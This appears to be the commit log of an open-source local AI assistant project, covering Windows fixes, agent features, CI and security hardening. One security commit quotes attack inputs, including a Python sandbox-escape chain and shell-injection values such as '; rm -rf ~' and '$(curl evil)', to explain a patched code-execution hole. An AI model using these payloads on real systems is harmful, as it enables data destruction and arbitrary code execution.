Commit Graph
755 Commits
Author SHA1 Message Date
caa3adbbce fix(windows): cross-platform python discovery + browser open helpers (#436)
Reimplements the useful parts of #385 cleanly.

Adds two small cross-platform helpers under `openjarvis.core.utils`:
- `get_python_executable()` — prefers `python3`, falls back to `python` for Windows / minimal distros that only ship the unversioned name.
- `open_browser(url)` — `webbrowser.open` by default; on Windows uses `cmd /c start "" <url>` to avoid console-host edge cases.

Swapped at every hardcoded `python3` / `webbrowser.open` site: `connectors/oauth.py`, `evals/scorers/livecodebench.py`, `scripts/oauth_all.py`, `scripts/install/install.sh` (adds `PY_CMD` detection block), `scripts/quickstart.sh` (adds `MINGW*|MSYS*|CYGWIN*) cmd /c start` case), and the two affected test files. Test files wrap `get_python_executable()` in `shlex.quote()` before interpolating into `shell=True` strings — Windows interpreter paths often contain spaces.

Deliberately different from #385: `openjarvis.core.__init__` does NOT re-export `DEFAULT_CONFIG_DIR` (would have raised ImportError because it's in `openjarvis.core.config`, not the package `__init__`; re-exporting would also force eager import of the heavy config module at every `import openjarvis.core`). `oauth.py` keeps `from openjarvis.core.config import DEFAULT_CONFIG_DIR` alongside the new `from openjarvis.core import open_browser`.

Original API surface and call-site sweep by @sanjayravit in #385 — huge thanks for the careful Windows-compatibility audit. This PR preserves your design while fixing the ImportError edge cases caught during review.

Co-Authored-By: sanjayravit <sanjayravit@users.noreply.github.com>
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-29 16:28:45 -07:00
ad7c86495f fix(cli): don't let a broken numpy crash CLI/server startup on Windows (#433)
Addresses #404 (unable to launch / fully download) and contributes to #309 (stuck on starting api server) by removing the eager numpy import paths that fail hard when a Windows host has a partially-installed or cp314-incompatible numpy.

What changed:

- `src/openjarvis/connectors/embeddings.py` / `hybrid_search.py`: numpy imports are now lazy (inside the method that needs them) with a `TYPE_CHECKING` guard for annotations. Default-argument evaluation no longer touches numpy at module import.
- `src/openjarvis/cli/__init__.py`: the `deep_research_setup` command import is now guarded behind a `try/except Exception` so an OverflowError or ImportError during its module load doesn't crash the entire CLI.
- New regression test in `tests/cli/test_cli.py`: `test_importing_cli_does_not_import_numpy` spawns a subprocess and asserts `numpy` is not in `sys.modules` after `import openjarvis.cli`. Guards against future eager-numpy regressions on Windows.

Reported by @Tentacle39 in #404 and seen alongside @xoomarx's #309. Thanks to both — the Windows-only crash signature made this hard to diagnose without your repros.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-29 16:18:47 -07:00
f1b0df6b6b fix(packaging): cap requires-python to <3.14 for Windows numpy wheels (#432)
Fixes #350 (API server fails to start on Windows because numpy has no cp314 wheels).

Caps `requires-python` to `>=3.10,<3.14` in pyproject.toml so uv resolves a Python that has working numpy wheels on Windows. Extends the `test-windows` CI matrix to run on both Python 3.12 and 3.13 to keep the cap honest.

Reported by @RizaldyMongi in #350. Thanks for the careful repro — the Windows-only fallout was tricky to reproduce on Linux/macOS and the issue gave us the exact symptom signature to triage from.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-29 16:10:08 -07:00
c8970cc387 chore: restore green ruff lint on main (#435)
Auto-fixes 13 inherited ruff errors in agents/hybrid/skillorchestra/* and evals/scorers/swebench_harness.py (I001/F401/W291/W292/E703), strips trailing whitespace in evals/eval_orchestrator.py, wraps a long signature in speech/cartesia_tts.py, and extends per-file-ignores for `agents/hybrid/**` and `agents/research_loop.py` (research code with long prompt strings — same rationale as the existing evals relaxation).

Unblocks lint CI for the rest of the Windows-fix cluster (#432, #433, #436, #437, #438).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-29 16:03:53 -07:00
Andrew ParkandGitHub 48dcb40be4 fix(desktop): surface backend error frames in Deep Research stream (#428) 2026-05-29 09:48:59 -07:00
Andrew ParkandGitHub 94c515bba5 hybrid: six local+cloud paradigm agents (advisors, conductor, minions, archon, skillorchestra, toolorchestra) (#423) 2026-05-29 09:48:27 -07:00
diken97andGitHub c9290aa77f feat(tts): make Cartesia language configurable (#420) 2026-05-29 09:45:24 -07:00
github-actions[bot] cf29ef710e chore: update clone traffic data [skip ci] 2026-05-29 07:23:59 +00:00
Jon Saad-FalconandGitHub 3aa24b2709 Merge pull request #429 from open-jarvis/feat/opencode-agent
feat(agents): add OpenCodeAgent — run opencode on a local engine
2026-05-28 20:38:46 -07:00
krypticmouseandClaude Opus 4.7 c6f172cbdc docs(agents): add eval-backed model-capability guidance for OpenCodeAgent
A 27B local model (Qwen3.5-27B via vLLM) passed a 7-task coding suite cleanly
(create/edit/bug-fix/implement-to-pass-tests/multi-file, verified by running
code + pytest); an 8B model was unreliable. Document so users pick a capable
model for real coding work.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-29 02:59:35 +00:00
krypticmouseandClaude Opus 4.7 00b85b71dd fix(agents): unwrap wrapped engines to derive opencode provider URL (+ clear guard)
The real `jarvis ask --agent opencode` path passes an InstrumentedEngine
(telemetry wrapper) whose underlying engine — and its `_host` — lives at
`_inner`. The base-URL derivation only checked the top object, so it returned
"", no provider was registered, and opencode 500'd on `openjarvis/<model>`.
Direct construction with a raw engine masked this; only the CLI path exposed
it.

- _derive_openai_base_url now unwraps up to 6 wrapper layers
  (`_inner`/`_engine`/`_wrapped`) to find `_host`/`base_url`.
- run() resolves the provider/model spec up front and, when it genuinely
  can't (no base URL + bare model name), returns a clear actionable error
  instead of letting opencode 500.

Tests: wrapper-unwrap derivation + unresolvable-provider guard. 20 passed,
ruff clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-29 01:10:25 +00:00
krypticmouseandClaude Opus 4.7 6a011b4abb fix(agents): deterministic opencode permissions + no workspace pollution
Two hardening fixes for headless use, found while verifying real runs:

- Permissions: opencode's interactive default *asks* before some actions (and
  `plan` asks before bash), which would block forever with no TTY. The agent
  now writes an explicit permission policy: `build` allows edit+bash, `plan`
  denies them (read-only), overridable via a `permission` kwarg. Verified: a
  bash task completes without hanging and plan mode refuses to create files.
- Config no longer written into the user's workspace. We now write provider +
  permission config to a private temp file referenced via `OPENCODE_CONFIG`
  (confirmed honored by opencode), keeping the workspace clean while opencode
  still operates there as cwd.

Tests updated to cover `_build_config` (provider presence, per-mode
permission, custom override, no-pollution). 18 passed, ruff clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-29 01:07:00 +00:00
krypticmouseandClaude Opus 4.7 20f90f3ca0 fix(agents): recover opencode tool-results from the full turn, not just the final message
A real-model E2E (Ollama qwen3:8b) exposed what unit tests with synthetic
parts missed: `POST /session/{id}/message` returns only the final assistant
message (text/reasoning), while ToolParts live in intermediate assistant
messages. The parser was reading the wrong message, so tool_results was always
empty even when opencode actually edited files.

- run(): after the prompt POST, GET /session/{id}/message and collect parts
  across the whole turn for tool extraction (content still comes from the
  final message). Verified against a live opencode session.
- _extract_tool_results: success now keys on opencode's state.status ==
  "completed" (states: completed | error | running | pending).
- Test now feeds the real full-turn message shape and asserts the write tool
  is recovered.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-29 00:56:36 +00:00
krypticmouseandClaude Opus 4.7 4fa9163ea9 feat(agents): add OpenCodeAgent — run the opencode coding agent on a local engine
Adds an `OpenCodeAgent` (registry key `opencode`) that delegates coding tasks
to opencode (https://opencode.ai, MIT) while keeping inference local-first:
OpenJarvis's engine backs opencode via an OpenAI-compatible provider.

How it works:
- Derives an OpenAI-compatible base URL from the engine (e.g. Ollama/vLLM at
  `<host>/v1`) and writes an `opencode.json` registering it as an
  `@ai-sdk/openai-compatible` provider (`openjarvis/<model>`).
- Spawns a headless `opencode serve` (loopback, random port), waits for
  `/global/health`, then drives a session: `POST /session` →
  `POST /session/{id}/message` with `model={providerID,modelID}` + agent
  (`build`/`plan`) → parses message `parts` (text → content, tool → tool_results)
  into an `AgentResult`. `close()` disposes the server.
- opencode is an external binary (not bundled); `run()` returns a clear,
  actionable error when it's missing, mirroring ClaudeCodeAgent's degradation.

Verified end-to-end against the real opencode binary wired to a stub
OpenAI-compatible engine: opencode called the local endpoint and the agent
parsed the response (content/finish/model) correctly. Unit tests cover part
parsing, base-URL derivation, provider-config writing (incl. merge), binary
detection, graceful degradation, and run() parsing with a mocked client — 15
passed, ruff clean. Registered via the standard try/except import in
agents/__init__.py; documented in docs/user-guide/agents.md.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-29 00:41:22 +00:00
Robby ManihaniandGitHub 23ed17fe12 Refine CLI branding: readable wordmark, new tagline, research footer (#424) 2026-05-28 12:07:50 -07:00
Robby ManihaniandGitHub 26285e56fa fix(agents): wire continuous-agent Interact tab end-to-end + CLI workflow polish (#425) 2026-05-28 12:07:03 -07:00
Andrew ParkandGitHub c6448f7cf2 fix(desktop): preselect model in onboarding so first chat doesn't 400 (#427) 2026-05-28 11:19:52 -07:00
Jon Saad-FalconandGitHub 6a27094658 Update README.md 2026-05-28 10:30:12 -07:00
github-actions[bot] c14c7c24c0 chore: update clone traffic data [skip ci] 2026-05-28 07:24:03 +00:00
Jon Saad-FalconandGitHub 75d26d23ea Merge pull request #422 from open-jarvis/fix/persona-files-persistent-agents
fix(agents): persistent agents honor SOUL.md / MEMORY.md / USER.md persona files (#376)
2026-05-27 10:57:12 -07:00
krypticmouseandClaude Opus 4.7 4ece9a933e fix(agents): persistent agents honor SOUL.md / MEMORY.md / USER.md persona files (#376)
SystemPromptBuilder (which loads the SOUL/MEMORY/USER persona files) was wired
only into the one-shot `jarvis ask` path, so persistent agents run through
AgentExecutor ignored persona entirely. The naive "pass prompt_builder" fix is
insufficient: `prompt_builder` was dropped at every __init__ hop
(ToolUsingAgent never accepted/forwarded it), and monitor_operative/operative
assemble their own system prompt and never consult `_prompt_builder` — so they
would silently ignore it even if it arrived.

Fix:
- `SystemPromptBuilder.persona_sections()` returns just the SOUL/MEMORY/USER
  sections (no agent template), for agents that build their own prompt and want
  to *append* persona rather than have it replace their instructions.
- `BaseAgent._apply_persona()` appends persona to a self-assembled prompt
  (no-op without a builder or persona files).
- Thread `prompt_builder` through the __init__ chain: ToolUsingAgent now
  accepts and forwards it to BaseAgent; monitor_operative and operative forward
  it and call `_apply_persona()` on their assembled system prompt.
- AgentExecutor constructs a SystemPromptBuilder from config and passes it to
  any agent whose __init__ accepts it (same gating as session_store /
  memory_backend). Agents that override __init__ without forwarding (e.g.
  orchestrator) opt out automatically and keep their own machinery.

Specialized prompts are preserved — persona is appended, not substituted. The
one-shot path is unchanged.

Verified: persona_sections() excludes the template but build() still includes
both; monitor_operative/operative receive the builder through the chain and
their assembled prompt includes the SOUL content. New tests in
tests/agents/test_persona_persistent.py (11 passed; ruff clean).

Closes #376

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-27 17:21:43 +00:00
Jon Saad-FalconandGitHub 00065cd960 Merge pull request #418 from open-jarvis/fix/managed-agent-streaming-parity
fix(server): managed-agent streaming parity — tool_calls replay, sampler params, tool DI (#382, #386, #395)
2026-05-27 10:16:17 -07:00
Tanvir BhathalandGitHub 0702f2793c (bug): telemetry fixes (#421) 2026-05-27 09:36:26 -07:00
github-actions[bot] f6156f480b chore: update clone traffic data [skip ci] 2026-05-27 07:30:01 +00:00
github-actions[bot] eb08987dae chore: update clone traffic data [skip ci] 2026-05-26 07:15:55 +00:00
krypticmouseandClaude Opus 4.7 5acc86d7cc fix(server): managed-agent streaming parity — tool_calls replay, sampler params, tool DI (#382, #386, #395)
`_stream_managed_agent` had diverged from the canonical cli/ask.py path and
lost three behaviours. All three are fixed via small extracted, unit-tested
helpers:

- #382: cross-request history replay dropped stored `tool_calls`, so the model
  never saw its own prior tool use and fabricated tool output on turn 2+.
  `_replay_history_messages` now reconstructs the assistant tool-use message
  plus matching tool-result messages (synthesised, consistent tool_call_ids).
- #386: only temperature/max_tokens reached the engine. `_sampler_kwargs`
  forwards repetition_penalty / top_p / top_k / min_p / frequency_penalty /
  presence_penalty when set in the agent config (opt-in; default agents send
  nothing extra). Fixes degenerate repetition loops on local models with no
  repetition_penalty.
- #395: tools were built with a bare `tool_cls()`, so memory_* / channel_* /
  llm tools loaded with no backend and failed on every call.
  `_instantiate_managed_tool` injects backend / channel / engine the same way
  cli/ask.py::_build_tools does.

Verified empirically: replay emits user → assistant(tool_calls) → tool(result)
with matching ids; sampler extraction forwards only set keys; DI gives memory
tools a backend and llm the engine/model. New tests in
tests/server/test_managed_agent_streaming.py (helpers are pure, so verifiable
without a live engine). 38 passed locally incl. existing route tests.

Closes #382
Closes #386
Closes #395

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 03:22:14 +00:00
Jon Saad-FalconandGitHub f827a8165d Merge pull request #417 from open-jarvis/security/default-deploy-auth
security(deploy): require auth (or loopback) in default deployments (#221)
2026-05-25 19:07:17 -07:00
Jon Saad-FalconandGitHub 0d3cc6db51 Merge pull request #416 from open-jarvis/security/websocket-a2a-auth
security(server): authenticate WebSocket handshakes + A2A requests (#217)
2026-05-25 19:07:05 -07:00
Jon Saad-FalconandGitHub b0f133a42d Merge pull request #415 from open-jarvis/security/template-loader-rce
security(tools): fix RCE in template loader (eval + shell=True) (#216)
2026-05-25 19:06:54 -07:00
krypticmouseandClaude Opus 4.7 9cd760ad1e security(deploy): stop default deployments shipping an open, unauthenticated server (#221)
All three deployment methods bound 0.0.0.0:8000 with no API key, so following
the README produced a server reachable from any device on the network with no
auth. `check_bind_safety` already refuses to start a non-loopback bind without
a key (so these configs actually failed to start) — this wires the key in so
the documented path yields a *working, authenticated* server.

- docker-compose.yml: require `OPENJARVIS_API_KEY` via `${VAR:?...}` so
  `docker compose up` fails fast when unset; added `deploy/docker/.env.example`
  (un-ignored in .gitignore).
- systemd: add `EnvironmentFile=/etc/openjarvis/env` (no `-` prefix, so a
  missing key file blocks startup rather than exposing an open server).
- launchd: bind `127.0.0.1` by default (the personal-device default — no
  network exposure, no key needed) with a documented, commented opt-in to
  0.0.0.0 + `OPENJARVIS_API_KEY`. Avoids shipping a usable default credential.
- Docs (docker/systemd/launchd) updated with the key-setup step.
- Tests assert each config can't reintroduce an open server, plus
  `check_bind_safety` behavior across loopback/public × key/no-key.

Closes #221

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 23:56:55 +00:00
krypticmouseandClaude Opus 4.7 87e978ef20 security(server): authenticate WebSocket handshakes and A2A requests (#217)
`AuthMiddleware` is a BaseHTTPMiddleware and never intercepts WebSocket
upgrade requests, so `/v1/chat/stream` and `/v1/agents/events` accepted any
connection — leaking all agent events/message content and allowing
unauthenticated inference even when an API key was configured for HTTP. The
A2A JSON-RPC server likewise dispatched every request without auth.

- Add `websocket_authorized(websocket, expected_key)` (constant-time compare)
  and check it in both WS handlers BEFORE `accept()`, closing with code 1008
  on failure. Token is read from `?token=` (browsers can't set WS headers) or
  an `Authorization: Bearer` header. `create_app` now exposes the key via
  `app.state.api_key`; when empty, auth is disabled, matching the HTTP
  middleware's local-default behavior (so loopback dev is unchanged).
- A2AServer gains an optional `auth_token`: `handle_request(token=...)`
  rejects with JSON-RPC -32001 before dispatch when configured, advertises
  `{"schemes": ["bearer"]}` on the agent card, and stays open when unset.
  Added `A2AConfig.auth_token`.

Verified empirically against the real mounted endpoints via TestClient: no
token / wrong token are rejected at the handshake (WebSocketDisconnect),
correct token streams normally, and no-key configs still connect freely.

Closes #217

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 23:51:29 +00:00
krypticmouseandClaude Opus 4.7 47ca09f1a3 security(tools): eliminate RCE in template loader eval() and shell=True (#216)
`python`-action tool templates evaluated expressions with `eval()` under a
restricted `__builtins__`. That sandbox is escapable via attribute walks like
`str.__class__.__mro__[-1].__subclasses__()`, reaching `object.__subclasses__()`
and arbitrary code. `shell`-action templates interpolated parameters into a
string and ran it with `shell=True`, so a value like `; rm -rf ~` or
`$(curl evil)` executed in the host shell.

Fixes:
- Replace `eval()` with a small AST interpreter (`safe_eval_expr`) that
  implements an explicit node allowlist — literals, names, arithmetic/boolean/
  comparison ops, ternaries, subscripts, container literals, and calls to a
  fixed set of builtins only. Attribute access, lambdas, comprehensions, and
  dunder names have no implementation and raise `ValueError`, so the escape
  vectors are unreachable by construction. No `eval`/`exec` remains.
- Shell action: tokenize the FIXED template with `shlex.split` first, then
  substitute params into individual argv elements and run with `shell=False`.
  Injected metacharacters become inert literal arguments.

All shipped builtin templates (`str(float(value))`, `str(input) if input
else ...`, etc.) continue to work. Verified empirically: every known escape
payload is rejected and a `; touch <marker>` / `$(touch <marker>)` /
backtick injection never creates the marker file.

Closes #216

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 23:45:59 +00:00
Jon Saad-FalconandGitHub 7e8db280e4 Merge pull request #413 from open-jarvis/ci/desktop-stable-updater-channel
ci(desktop): stable (desktop-latest) + edge (desktop-edge) updater channels
desktop-edge
2026-05-25 16:41:08 -07:00
krypticmouseandClaude Opus 4.7 e3f2b008d2 ci(desktop): split updater into stable (desktop-latest) + edge (desktop-edge) channels
The installed desktop app polls `desktop-latest/latest.json`. Previously
every push to `main` (autotag -> v*.devN -> desktop.yml dispatch) rebuilt
and republished `desktop-latest` as a DEV prerelease, so stable users were
auto-updated onto unvetted dev builds, and any manual stable mirror was
clobbered on the next merge.

Split the streams so the app's channel only ever serves vetted stable:

- Dev/rolling builds (v* autotag + manual workflow_dispatch) now publish to
  a new `desktop-edge` pre-release. The shipped app does not poll edge, so
  dev builds never auto-install onto stable users.
- Stable `desktop-v*` builds publish the user-facing release as before, then
  a new `refresh-stable-channel` job copies that release's signed
  `latest.json` into `desktop-latest` (mirror; URLs already point at the
  desktop-v* assets). Cut a `desktop-v*` tag to ship an update.
- `clean-release` now targets `desktop-edge`; `desktop-latest` is never
  wiped by CI.

No app/tauri.conf.json change — the updater endpoint stays `desktop-latest`.
Doc updated to describe the now-implemented stable/edge split.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 23:36:17 +00:00
Jon Saad-FalconandGitHub cdae426d48 docs: fix broken desktop download links → stable desktop-v1.0.2 release (#412)
Repoints all desktop download links (README, docs/index.md, downloads.md, getting-started/installation.md) from the removed desktop-latest prerelease (with wrong 0.1.0 filenames) to the stable desktop-v1.0.2 release. All 5 URLs verified live (200). macOS .dmg now included (addresses #356).
2026-05-25 16:20:33 -07:00
krypticmouseandClaude Opus 4.7 ae9727599b docs: point desktop download links at the stable desktop-v1.0.2 release
Every desktop download link in the docs was broken on two counts:
1. They pointed at the rolling `desktop-latest` prerelease, which had
   been removed (404 for all of README, docs/index.md,
   docs/downloads.md, docs/getting-started/installation.md).
2. They used the wrong version in the filenames (`OpenJarvis_0.1.0_*`)
   — the actual published assets were never `0.1.0`.

Repointed all four files at the new stable `Desktop desktop-v1.0.2`
release with the exact asset filenames it ships
(`OpenJarvis_1.0.1_*` — the Tauri bundle version is 1.0.1, distinct
from the 1.0.2 Python/CLI release). This release also includes a
macOS universal `.dmg`, which the prior desktop releases lacked
(addresses #356 "No Mac Download") — so the macOS rows now say
"Universal" (Apple Silicon + Intel) instead of "Apple Silicon".

All five download URLs verified live (HTTP 200) against the
desktop-v1.0.2 release before committing.

Note: `docs/desktop-auto-update.md` still references the
`desktop-latest` rolling channel — that's the auto-updater's endpoint,
a separate concern from the manual download links, and is left as-is.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 23:18:33 +00:00
Robby ManihaniandGitHub a86d022947 fix(agents): repair continuous monitor_operative agent (parrot loop, tool calling, traces) (#407) 2026-05-25 11:08:14 -07:00
Robby ManihaniandGitHub 8e6bc343d8 fix(connectors): validate credentials before persisting + populate Gmail URLs (#410) 2026-05-25 11:07:35 -07:00
Jon Saad-FalconandGitHub 56c9a59f8d release: v1.0.2 — fix broken PyPI wheel (#372) + pynvml/Windows/install fixes (#411)
Bumps 1.0.1 → 1.0.2 so the merged fixes (#372 wheel packaging, #389 pynvml, #373 Windows RAM, #331 desktop diagnostics, #337/#352 install URL) can ship to PyPI. See PR #411.
v1.0.2 desktop-v1.0.2
2026-05-25 10:51:56 -07:00
krypticmouseandClaude Opus 4.7 bed3524b62 release: v1.0.2
Patch release bundling the fixes merged since v1.0.1. The headline is
#372 — the v1.0.1 wheel on PyPI is missing `openjarvis/traces/`, so
every `pip install openjarvis==1.0.1` breaks at import. PyPI filenames
are immutable, so the fix has to ship under a new version number.

Bumps version 1.0.1 → 1.0.2 and adds the CHANGELOG entry covering
#372 (wheel packaging), #389 (pynvml warning), #373 (Windows RAM),
#331 (desktop uv-sync diagnostics), and #337/#352 (install URL → GitHub
Pages).

After this merges, cut the release:
  uv build
  unzip -l dist/openjarvis-1.0.2-*.whl | grep traces   # verify
  twine upload dist/openjarvis-1.0.2-*

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 17:49:40 +00:00
github-actions[bot] eb5d1e467f chore: update clone traffic data [skip ci] 2026-05-25 07:37:54 +00:00
Jon Saad-FalconandGitHub b43f4d2291 refactor(desktop): extract testable uv-sync error helpers + unit tests (#331) (#406)
Extracts the #331 uv-sync error-formatting logic into pure functions with 7 unit tests, now run via cargo test in desktop.yml's validate job. Verified: all 7 pass on the real Tauri crate in CI.
2026-05-24 08:31:54 -07:00
krypticmouseandClaude Opus 4.7 658effb964 refactor(desktop): extract testable uv-sync error helpers + unit tests (#331)
The uv-sync failure handling added in #398 was inline in the async
`boot_backend` GUI path, so its logic — exit-code rendering and the
stderr "tail" extraction — could only be verified by running the
desktop app. This extracts the pure logic into three free functions
and adds unit tests, so the message formatting is now covered by
`cargo test` with no GUI / webview runtime needed.

Extracted:
- `uv_sync_stderr_tail(stderr, max_chars)` — last N chars of stderr,
  trimmed, on char boundaries. The original inline version used
  `.rev().take(N).collect().chars().rev().collect()`; the new version
  is `skip(count - N)` which is clearer and equally UTF-8-safe (matters
  because Windows consoles emit non-ASCII cp9xx bytes — a byte slice
  could split a codepoint).
- `format_uv_sync_failure(root, exit_code, stderr)` — the non-zero-exit
  message. Now renders a missing exit code (signal-terminated process)
  as "unknown" instead of a misleading "-1".
- `format_uv_sync_spawn_error(root, uv_bin, err)` — the can't-spawn
  message.

`boot_backend` now calls these instead of formatting inline.

Tests (7, in `#[cfg(test)] mod tests`):
- tail returns whole string when shorter than the limit
- tail keeps the END (the actionable line), not the spinner-noise start
- tail trims surrounding whitespace
- tail never splits a multi-byte codepoint (500×"é", limit 100 → exactly
  100 chars, all "é")
- failure message includes exit code + stderr tail + the actionable
  "run uv sync manually" hint
- missing exit code renders as "exit unknown", never "exit -1"
- spawn-error names the uv binary path and repo root

Verified the logic standalone via `rustc --test` (7/7 pass). In CI they
run via `cargo test` in desktop.yml's `validate` job, which already
builds the Tauri crate with the webkit deps and runs on every PR that
touches `frontend/**` — so this changes the existing `cargo check` step
to `cargo test` (a superset: same build coverage, plus the tests).

This doesn't verify the GUI *behavior* (that still needs a human running
the app, or the windows-latest empirical path) — but the error-message
logic that was previously untestable now has automated coverage.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-24 15:26:07 +00:00
Jon Saad-FalconandGitHub 0c34817ecd ci: add windows-latest job to empirically verify Windows code paths (#405)
Adds a windows-latest CI job that executes the real GlobalMemoryStatusEx RAM path (#373), the #293 stdout reconfigure test, and builds+imports the openjarvis_rust PyO3 extension on Windows. Verified green on a real Windows runner (4m1s, all steps success).
2026-05-24 08:08:49 -07:00
krypticmouseandClaude Opus 4.7 c06633e26f ci: add windows-latest job to empirically verify Windows code paths
The `test` job runs only on ubuntu-latest, so the Windows-specific
branches added for #373 (RAM detection via GlobalMemoryStatusEx) and
#293 (cp9xx → UTF-8 stdout reconfigure) were never *executed* in CI —
only unit-tested with mocks on Linux. `tests/hardware/test_hardware_profiles.py::test_total_ram_gb_windows`
has existed all along but is `skipif(sys.platform != "win32")`, so it
silently skipped on every run.

This adds a `test-windows` job that runs on a real Windows runner
(free for public repos) and:

1. Verifies `_total_ram_gb()` returns > 0 on actual Windows — executes
   the real `ctypes.windll.kernel32.GlobalMemoryStatusEx` path (#373).
   Runs as a pure-Python step BEFORE any Rust build, so a flaky
   toolchain install can't mask the result.
2. Runs `tests/hardware/test_hardware_profiles.py` (the now-unskipped
   Windows RAM test) and `tests/cli/test_cli.py` (the
   `test_windows_reconfigures_stdout_to_utf8` test from #293).
3. Builds + imports the `openjarvis_rust` PyO3 extension on Windows —
   the only CI job that does so. The extension is mandatory at runtime
   (`_rust_bridge.py` hard-errors without it), yet nothing else
   verified it compiles/imports on Windows. desktop.yml builds the
   Tauri app's Rust, not this extension.
4. Smoke-tests `jarvis --version`.

Scoped to the platform-relevant test files (not the full 6700-test
suite) so the job stays fast; the slow part is the Rust build, which
doubles as Windows-extension-build coverage.

All `run:` steps are static commands with no `github.event.*`
interpolation — no workflow-injection surface.

Note: #331 (desktop "did not become healthy" — uv sync error
surfacing) is GUI-triggered Tauri boot logic and isn't covered here;
its only automatable surface is string formatting, and testing it
needs the heavy webview build. Left as a possible follow-up.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-24 15:03:11 +00:00
github-actions[bot] deb0dd509c chore: update clone traffic data [skip ci] 2026-05-24 07:09:11 +00:00
Jon Saad-FalconandGitHub a76319841a fix(install): serve install.sh from GitHub Pages as canonical URL (#402)
Resolves the openjarvis.ai SSL failure (#337, #352) by serving the installer from the project-controlled GitHub Pages site. Adds uv prerequisite docs for the Windows desktop path. See PR #402 for the full breakdown and the openjarvis.ai CNAME migration note.
2026-05-23 12:10:00 -07:00
krypticmouseandClaude Opus 4.7 cf8d3e2cbe fix(install): serve install.sh from GitHub Pages, make it the canonical URL
The documented install command pointed at `https://openjarvis.ai/install.sh`,
but that domain is community-operated (not controlled by this project) and
its TLS config broke — every new user hit `sslv3 alert handshake failure`
(#337, #352). Since we can't fix a domain we don't control, this moves the
installer onto infrastructure we DO control: the project's GitHub Pages
docs site.

Changes:

- **`docs/gen_install_script.py`** (new) + **`mkdocs.yml`**: a `gen-files`
  hook copies `scripts/install/install.sh` verbatim into the built site at
  `install.sh` on every `mkdocs build`. Single source of truth — the script
  stays at `scripts/install/install.sh` (still bundled into the wheel as
  `_install_scripts/`); the published copy can't drift. Verified locally:
  `mkdocs build` emits `site/install.sh` byte-identical to the source.

  New canonical URL: `https://open-jarvis.github.io/OpenJarvis/install.sh`
  — HTTPS always valid (GitHub's cert), fully under project control.

- **`README.md`**: canonical command switched to the github.io URL for
  both the Installation and Quick Start blocks. Also addresses the uv
  discoverability gap — explicitly states the curl installer downloads uv
  for you (no prerequisite), and that the Windows **desktop .exe** expects
  uv to be installed first, with the exact PowerShell command.

- **`docs/getting-started/{install,wsl2,macos,linux}.md`**: canonical URL
  switched to github.io. `install.md` gains an "Install URL" info note
  explaining the github.io URL is canonical and that the older
  `openjarvis.ai` URL is community-operated with intermittent TLS issues.

- **`scripts/install/install.sh`** + **`jarvis-wrapper.sh`**: usage comment,
  the WSL re-run hint (added in #399), and the wrapper's re-install message
  all updated to the github.io URL.

Migration note for maintainers: ask whoever operates `openjarvis.ai` to
CNAME it to `open-jarvis.github.io`. Once they do, `openjarvis.ai/install.sh`
will serve this same GitHub Pages content with a valid GitHub-managed cert,
and the nicer brand URL can become canonical again with zero further code
changes. Until then, the github.io URL works and is under our control.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-23 19:05:26 +00:00
Jon Saad-FalconandGitHub bced6cc274 fix(install): Windows discoverability + Git Bash early bail + concrete uv install command (#399)
Follow-up to PR #398. Three surface fixes for the Windows install confusion documented in two Discord support threads. See PR #399 for the full breakdown.
2026-05-23 08:54:10 -07:00
krypticmouseandClaude Opus 4.7 612d3e1f88 fix(install): make Windows install path discoverable + bail early on Git Bash
Addresses the second half of the Discord support thread on the
"Jarvis server did not become healthy in time" issue (PR #398 fixed
the diagnostic gap; this fixes discoverability of the right install
path so users don't end up there in the first place).

Three changes, all surface improvements:

1. **`README.md`** — explicit Windows section in the Installation
   block. Previously, the only Windows mention was a footnote
   ("Platforms: ... WSL2 on Windows") that came AFTER the `curl … |
   bash` install command. Users on PowerShell would copy/paste the
   command, get a syntax error, then try to debug bash on Windows.
   Now the README clearly says: bash installer is macOS/Linux only;
   Windows users have two paths (WSL2 with one-time `wsl --install`
   setup, or the desktop .exe from Releases). Both link to the
   relevant docs.

2. **`scripts/install/install.sh`** — early bail when running under
   Git Bash / MSYS2 / Cygwin (MINGW*, MSYS*, CYGWIN* per `uname -s`).
   These environments aren't WSL — `uv` and `git` will install to
   Windows-side paths that OpenJarvis can't reach, Ollama integration
   silently breaks, and the user gets to debug it 3 minutes into a
   doomed install. The bail message points at both the WSL2 setup
   command (`wsl --install -d Ubuntu-24.04`) and the desktop .exe
   download as alternatives.

   Verified the case-match doesn't fire on Linux (`uname -s` →
   `Linux`, matches the wildcard fall-through, not the MINGW patterns).

3. **`frontend/src-tauri/src/lib.rs`** — when `resolve_bin("uv")`
   can't find uv, the per-OS error message now contains the exact
   install command for the user's OS, ready to copy/paste. On Windows
   that's the `irm https://astral.sh/uv/install.ps1 | iex` command
   Marc kept reposting on the Discord support thread (5/12-5/14).
   On macOS/Linux it's the standard `curl | sh` installer.

   The previous generic "Install it from https://astral.sh/uv" left
   users guessing whether to use winget, scoop, pip, or the official
   installer — which is exactly the confusion the Discord thread
   captured.

None of these are root-cause code fixes (Discord users' uv installs
